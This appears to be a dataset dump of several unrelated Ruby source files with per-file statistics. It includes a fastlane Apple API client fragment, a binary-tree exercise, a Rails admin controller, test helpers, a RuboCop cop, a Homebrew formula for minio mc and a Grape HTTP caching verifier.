raise_insufficient_permission_error!(additional_error_string: content["userString"])
else
store_csrf_tokens(response)
content
end
end
def detect_most_common_errors_and_raise_exceptions(body)
# Check if the failure is due to missing permissions (App Store Connect)
if body["messages"] && body["messages"]["error"].include?("Forbidden")
raise_insufficient_permission_error!
elsif body["messages"] && body["messages"]["error"].include?("insufficient privileges")
# Passing a specific `caller_location` here to make sure we return the correct method
# With the default location the error would say that `parse_response` is the caller
raise_insufficient_permission_error!(caller_location: 3)
elsif body.to_s.include?("Internal Server Error - Read")
raise InternalServerError, "Received an internal server error from App Store Connect / Developer Portal, please try again later"
elsif body.to_s.include?("Gateway Timeout - In read")
raise GatewayTimeoutError, "Received a gateway timeout error from App Store Connect / Developer Portal, please try again later"
elsif (body["userString"] || "").include?("Program License Agreement")
raise ProgramLicenseAgreementUpdated, "#{body['userString']} Please manually log into your Apple Developer account to review and accept the updated agreement."
end
end
# This also gets called from subclasses
def raise_insufficient_permission_error!(additional_error_string: nil, caller_location: 2)
# get the method name of the request that failed
# `block in` is used very often for requests when surrounded for paging or retrying blocks
# The ! is part of some methods when they modify or delete a resource, so we don't want to show it
# Using `sub` instead of `delete` as we don't want to allow multiple matches
calling_method_name = caller_locations(caller_location, 2).first.label.sub("block in", "").delete("!").strip
# calling the computed property self.team_id can get us into an exception handling loop
team_id = @current_team_id ? "(Team ID #{@current_team_id}) " : ""
error_message = "User #{self.user} #{team_id}doesn't have enough permission for the following action: #{calling_method_name}"
error_message += " (#{additional_error_string})" if additional_error_string.to_s.length > 0
raise InsufficientPermissions, error_message
end
private
def directory_accessible?(path)
Dir.exist?(File.expand_path(path))
end
def do_login(user, password)
@loggedin = false
ret = send_login_request(user, password) # different in subclasses
@loggedin = true
ret
end
# Is called from `parse_response` to store the latest csrf_token (if available)
def store_csrf_tokens(response)
if response && response.headers
tokens = response.headers.select { |k, v| %w(csrf csrf_ts).include?(k) }
if tokens && !tokens.empty?
@csrf_tokens = tokens
end
end
end
def log_request(method, url, params, headers = nil, &block)
url ||= extract_key_from_block('url', &block)
body = extract_key_from_block('body', &block)
body_to_log = '[undefined body]'
if body
begin
body = JSON.parse(body)
# replace password in body if present
body['password'] = '***' if body.kind_of?(Hash) && body.key?("password")
body_to_log = body.to_json
rescue JSON::ParserError
# no json, no password to replace
body_to_log = "[non JSON body]"
end
end
params_to_log = Hash(params).dup # to also work with nil
params_to_log.delete(:accountPassword) # Dev Portal
params_to_log.delete(:theAccountPW) # iTC
params_to_log = params_to_log.collect do |key, value|
"{#{key}: #{value}}"
end
logger.info(">> #{method.upcase} #{url}: #{body_to_log} #{params_to_log.join(', ')}")
end
def log_response(method, url, response, headers = nil, &block)
url ||= extract_key_from_block('url', &block)
body = response.body.kind_of?(String) ? response.body.force_encoding(Encoding::UTF_8) : response.body
logger.debug("<< #{method.upcase} #{url}: #{response.status} #{body}")
end
def extract_key_from_block(key, &block)
if block_given?
obj = Object.new
class << obj
attr_accessor :body, :headers, :params, :url, :options
# rubocop: disable Style/TrivialAccessors
# the block calls `url` (not `url=`) so need to define `url` method
def url(url)
@url = url
end
def options
options_obj = Object.new
class << options_obj
attr_accessor :params_encoder
end
options_obj
end
# rubocop: enable Style/TrivialAccessors
end
obj.headers = {}
yield(obj)
obj.instance_variable_get("@#{key}")
end
end
# Actually sends the request to the remote server
# Automatically retries the request up to 3 times if something goes wrong
def send_request(method, url_or_path, params, headers, &block)
with_retry do
response = @client.send(method, url_or_path, params, headers, &block)
log_response(method, url_or_path, response, headers, &block)
resp_hash = response.to_hash
if resp_hash[:status] == 401
msg = "Auth lost"
logger.warn(msg)
raise UnauthorizedAccessError.new, "Unauthorized Access"
end
if response.body.to_s.include?("<title>302 Found</title>")
raise AppleTimeoutError.new, "Apple 302 detected - this might be temporary server error, check https://developer.apple.com/system-status/ to see if there is a known downtime"
end
if response.body.to_s.include?("<h3>Bad Gateway</h3>")
raise BadGatewayError.new, "Apple 502 detected - this might be temporary server error, try again later"
end
if resp_hash[:status] == 403
msg = "Access forbidden"
logger.warn(msg)
raise AccessForbiddenError.new, msg
end
return response
end
end
def send_request_auto_paginate(method, url_or_path, params, headers, &block)
response = send_request(method, url_or_path, params, headers, &block)
return response unless should_process_next_rel?(response)
last_response = response
while last_response.env.rels[:next]
last_response = send_request(method, last_response.env.rels[:next], params, headers, &block)
break unless should_process_next_rel?(last_response)
response.body['data'].concat(last_response.body['data'])
end
response
end
def should_process_next_rel?(response)
response.body.kind_of?(Hash) && response.body['data'].kind_of?(Array)
end
def encode_params(params, headers)
params = Faraday::Utils::ParamsHash[params].to_query
headers = { 'Content-Type' => 'application/x-www-form-urlencoded' }.merge(headers)
return params, headers
end
end
# rubocop:enable Metrics/ClassLength
end
require 'spaceship/two_step_or_factor_client'
| 39.120309 | 244 | 0.640719 |
875931c3b43a7f9579b15476b920850aa4b4af9b | 1,569 | =begin
A Tree in an Array
To store a Binary Tree in an Array, we just need to determine the order that we store the Nodes in. A good order is "breadth-first" where we store the items in order top-down and left-to-right of the tree.
Here's a tree represented as an array:
And this is the tree 'unfolded':
Notice that 5 only has one child Node, so the other child is represented as 0 in the above array. This is OK as long as we don't need to store actual 0 values.
Challenge
The input for this challenge will provide an array of numbers in the above "breadth-first" format, and use 0's for non-nodes.
Can you print out the sum of the Leftmost side of the Tree?
Tip: A number located at position i in an array will have it's left child located at the position 2i+1 in the array.
-source url (https://repl.it/student/submissions/6772636)
=end
def leftmost_nodes_sum(array)
# your code here
root = 0
sum = 0
until 2**root - 1 >= array.size
sum += array[2**root - 1]
root += 1
end
return sum
end
def leftmost_nodes_sum_recursive(array, sum = 0)
# your code here
def helper(array, index = 0)
return array[index] if array[2*index+1].nil?
sum =+ helper(array, 2*index+1) + array[index]
return sum
end
helper(array)
end
puts leftmost_nodes_sum([2, 7, 5, 2, 6, 0, 9])
# 11
puts leftmost_nodes_sum([2, 7, 5, 2, 6, 0, 9, 10, 12, 11, 18])
# 21
puts leftmost_nodes_sum_recursive([2, 7, 5, 2, 6, 0, 9])
# 11
puts leftmost_nodes_sum_recursive([2, 7, 5, 2, 6, 0, 9, 10, 12, 11, 18])
# 21 | 30.764706 | 207 | 0.680051 |
e948473922cf059302f45319f64fb53554cc9b52 | 454 | # frozen_string_literal: true
class Admin
class BaseController < ApplicationController
before_action :allow_only_admin, :set_locale
layout 'admin'
private
def allow_only_admin
raise AdminAccessDeniedException unless admin_signed_in?
end
def set_locale
I18n.locale = current_locale
end
def current_locale
params[:locale] ||
session[:locale] ||
I18n.default_locale
end
end
end
| 18.16 | 62 | 0.693833 |
bfdf0ca6b89e957eba699d6fca2a0133889f77f9 | 2,041 | # frozen_string_literal: true
# Body content assertions for all endpoints -- signed out
module SignedOutAssertions
def assert_header
assertions = ['<a class="nav-link" href="/">',
'<a class="nav-link" href="/help">',
'<a class="nav-link" href="/about">',
'<a class="nav-link" href="/sign-in">']
refutations = ['<a class="nav-link" href="/sign-out">',
'<a class="nav-link" href="/view">',
'<a class="nav-link" href="/actions">',
'<div id="header-name">']
assert_and_refute assertions, refutations
end
def assert_main_index
assertions = ['<h1>Welcome to Time Manager!</h1>', '<h2>New here?</h2>',
"<h3>Don't worry. I'm here to help.</h3>",
'<h2>Already a user?</h2>', '<h3>You know the drill.</h3>']
refutations = ['<h2>Click one of the above buttons to get started, ',
'<span class="name">', '</span>!']
assert_and_refute assertions, refutations
end
def assert_main_sign_in(username = '')
inputs = <<-HTML
<input class="input" type="text" name="username" placeholder="Username" value="#{username}" autofocus>
<input class="input" type="password" name="password" placeholder="Password">
HTML
assertions = ['<h2>Sign In!</h2>', inputs,
'<button class="button">Sign In</button>',
"<span>Don't have an account? ",
'<a href="/sign-up">Sign up!</a>']
refutations = []
assert_and_refute assertions, refutations
end
def assert_main_sign_up(username = '')
inputs = <<-HTML
<input class="input" type="text" name="username" placeholder="Username" value="#{username}" autofocus>
<input class="input" type="password" name="password" placeholder="Password">
HTML
assertions = ['<h2>Sign Up!</h2>', inputs,
'<button class="button">Sign Up</button>']
refutations = []
assert_and_refute assertions, refutations
end
end
| 34.016667 | 104 | 0.580598 |
6aabcf6cc8caa85537b545151b77ff79ddacb071 | 1,302 | # frozen_string_literal: true
module RuboCop
module Cop
module Style
# This cop checks for cases when you could use a block
# accepting version of a method that does automatic
# resource cleanup.
#
# @example
#
# # bad
# f = File.open('file')
#
# # good
# File.open('file') do |f|
# # ...
# end
class AutoResourceCleanup < Cop
MSG = 'Use the block version of `%<class>s.%<method>s`.'
TARGET_METHODS = {
File: :open
}.freeze
def on_send(node)
TARGET_METHODS.each do |target_class, target_method|
target_receiver = s(:const, nil, target_class)
next if node.receiver != target_receiver
next if node.method_name != target_method
next if cleanup?(node)
add_offense(node,
message: format(MSG,
class: target_class,
method: target_method))
end
end
private
def cleanup?(node)
parent = node.parent
node.block_argument? ||
(parent && (parent.block_type? || !parent.lvasgn_type?))
end
end
end
end
end
| 25.038462 | 68 | 0.502304 |
b906cb5962ec10f5bdb7ca24cdfbc98c5ac68a99 | 223 | require_relative '../lib/rudash'
require 'test/unit'
class IsNilTest < Test::Unit::TestCase
def test_nil
assert_equal R_.is_nil?(nil), true
end
def test_not_nil
assert_equal R_.is_nil?(0), false
end
end
| 17.153846 | 38 | 0.70852 |
330ee6a863a966d2720b0fb368cdacfcb2d53f01 | 196 | class ExternalPost < Post
validates :external_id, uniqueness: true
alias_attribute :body, :body_html
def username
self.user_display_name
end
def number_of_comments
0
end
end
| 15.076923 | 42 | 0.744898 |
911205005dae384a890cc75d9fde29a39ddf2947 | 1,662 | class MinioMc < Formula
desc "Replacement for ls, cp and other commands for object storage"
homepage "https://github.com/minio/mc"
url "https://github.com/minio/mc.git",
:tag => "RELEASE.2019-01-10T00-38-22Z",
:revision => "0854af6e6d3e9f79e8d9c98db5e0d133a527923b"
version "20190110003822"
bottle do
cellar :any_skip_relocation
sha256 "19d06ac6a8282df33f658968fb218d801bd4131718c5202aaf47257ee32d95b8" => :mojave
sha256 "516984a086c29a3ee79e84be9139c04ac3a0c7b0dba8ec86fb737ae89b42991f" => :high_sierra
sha256 "cc110b8493af3db8fe69396cf8b437e495d0def63e963b79bbe7c794249a7fc4" => :sierra
end
depends_on "go" => :build
conflicts_with "midnight-commander", :because => "Both install a `mc` binary"
def install
ENV["GOPATH"] = buildpath
clipath = buildpath/"src/github.com/minio/mc"
clipath.install Dir["*"]
cd clipath do
if build.head?
system "go", "build", "-o", buildpath/"mc"
else
minio_release = `git tag --points-at HEAD`.chomp
minio_version = minio_release.gsub(/RELEASE\./, "").chomp.gsub(/T(\d+)\-(\d+)\-(\d+)Z/, 'T\1:\2:\3Z')
minio_commit = `git rev-parse HEAD`.chomp
proj = "github.com/minio/mc"
system "go", "build", "-o", buildpath/"mc", "-ldflags", <<~EOS
-X #{proj}/cmd.Version=#{minio_version}
-X #{proj}/cmd.ReleaseTag=#{minio_release}
-X #{proj}/cmd.CommitID=#{minio_commit}
EOS
end
end
bin.install buildpath/"mc"
prefix.install_metafiles
end
test do
system bin/"mc", "mb", testpath/"test"
assert_predicate testpath/"test", :exist?
end
end
| 31.961538 | 109 | 0.656438 |
62f6080d401fe33e0b1e99020ef53f3c408be299 | 6,215 | # frozen_string_literal: true
module Grape
module Cache
class Verifier
# @param endpoint[Grape::Endpoint]
# @param middleware[Grape::Cache::Middleware]
# @param raw_options[Hash]
def initialize(endpoint, middleware, raw_options)
@endpoint = endpoint
@raw_options = raw_options
@middleware = middleware
end
def run
# First cache barrier - 304 cache responses for ETag and If-Last-Modified
@raw_options[:prepare_block] && @endpoint.instance_eval(&@raw_options[:prepare_block])
check_etag!
check_modified_since!
# If here, no HTTP cache hits occured
# Retrieve request metadata
cache_key = create_backend_cache_key
catch :cache_miss do
if metadata = @middleware.backend.fetch_metadata(cache_key)
throw_cache_hit(cache_key) { etag == metadata.etag } if etag?
if last_modified
throw_cache_hit(cache_key) do
metadata.last_modified && last_modified <= metadata.last_modified
end
end
throw_cache_hit(cache_key)
end
end
@endpoint.env['grape.cache.capture_key'] = cache_key
@endpoint.env['grape.cache.capture_metadata'] = create_capture_metadata
end
private
def check_etag!
return unless etag?
if etag == @endpoint.env['HTTP_IF_NONE_MATCH']
throw :cache_hit, Rack::Response.new([], 304, 'ETag' => etag)
end
build_cache_headers({ 'ETag' => etag })
end
def check_modified_since!
return unless last_modified_httpdate = last_modified&.httpdate
if_modified = request_date_header("HTTP_IF_MODIFIED_SINCE")
if if_modified && last_modified <= if_modified
throw :cache_hit, Rack::Response.new([], 304, 'Last-Modified' => last_modified_httpdate)
end
if_unmodified = request_date_header("HTTP_IF_UNMODIFIED_SINCE")
if if_unmodified && last_modified > if_unmodified
throw :cache_hit, Rack::Response.new([], 304, 'Last-Modified' => last_modified_httpdate)
end
build_cache_headers({ 'Last-Modified' => last_modified_httpdate })
end
def request_date_header(key)
if raw_header = @endpoint.env[key]
Time.rfc2822(raw_header) rescue nil
end
end
def throw_cache_hit(cache_key, &block)
if !block_given? || instance_eval(&block)
if result = @middleware.backend.fetch(cache_key)
throw :cache_hit, result
end
end
throw :cache_miss
end
def build_cache_headers(headers = {})
@endpoint.header('Vary', format_header_value(vary)) if vary?
@endpoint.header('Cache-Control', format_header_value(cache_control_directives))
headers.each { |key, value| @endpoint.header(key, value) }
end
def cache_control
@cache_control ||= resolve_value(:cache_control_value)
end
def etag
return unless etag?
return @_etag if defined?(@_etag)
value = @endpoint.instance_eval(&@raw_options[:etag_check_block]).to_s
value = MurmurHash3::V128.str_hexdigest(value) if @raw_options[:hash_etag]
@_etag = "#{weak_etag? ? Grape::Cache::WEAK_ETAG_INDICATOR : ''}\"#{value}\""
end
def etag?
@raw_options[:etag_check_block].present?
end
def weak_etag?
@raw_options[:etag_is_weak]
end
def last_modified
return @_last_modified if defined?(@_last_modified)
@_last_modified = resolve_value(:last_modified_block)
end
def max_age
@_max_age ||= resolve_value(:max_age_value)
end
def max_age?
@raw_options[:max_age_value].present?
end
def expires_in
@_expires_in ||= resolve_value(:expires_in_value)
end
def expires?
@raw_options[:expires_in_value].present?
end
def vary
@_vary ||= resolve_value(:vary_by_value)
end
def vary?
@raw_options[:vary_by_value].present?
end
def cache_control_directives
directives = {}
cache_control_config = cache_control
case cache_control_config
when Array
cache_control_config.each { |directive| directives[directive] = true }
when Hash
directives.merge!(cache_control_config)
when String
directives[cache_control_config] = true
end
if max_age? && !directives.key?(Grape::Cache::MAX_AGE)
directives[Grape::Cache::MAX_AGE] = max_age
end
directives
end
def create_capture_metadata
args = {}
args[:etag] = etag if etag?
args[:last_modified] = last_modified if last_modified
args[:expire_at] = (Time.current + expires_in) if expires?
Grape::Cache::Backend::CacheEntryMetadata.new(args)
end
def create_backend_cache_key
cache_key_array = []
unless @raw_options[:cache_with_params] == false
cache_key_array << @endpoint.declared(@endpoint.params)
end
if @raw_options[:cache_key_block]
cache_key_array << @endpoint.instance_exec(
cache_key_array, &@raw_options[:cache_key_block]
)
end
cache_key_array << etag if @raw_options[:use_etag_in_cache_key]
[
@endpoint.env['REQUEST_METHOD'].to_s,
@endpoint.env['PATH_INFO'],
@endpoint.env['HTTP_ACCEPT_VERSION'].to_s,
MurmurHash3::V128.str_hexdigest(MultiJson.dump(cache_key_array))
].join
end
private
def resolve_value(key)
value = @raw_options[key]
if value.respond_to?(:call)
@endpoint.instance_eval(&value)
else
value
end
end
def format_header_value(value)
case value
when Array
value.join(Grape::Cache::LIST_DELIMETER)
when Hash
value.map { |k, v| v == true ? k : "#{k}=#{v}" }.join(Grape::Cache::LIST_DELIMETER)
else
value
end
end
end
end
end
| 27.995495 | 98 | 0.615929 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.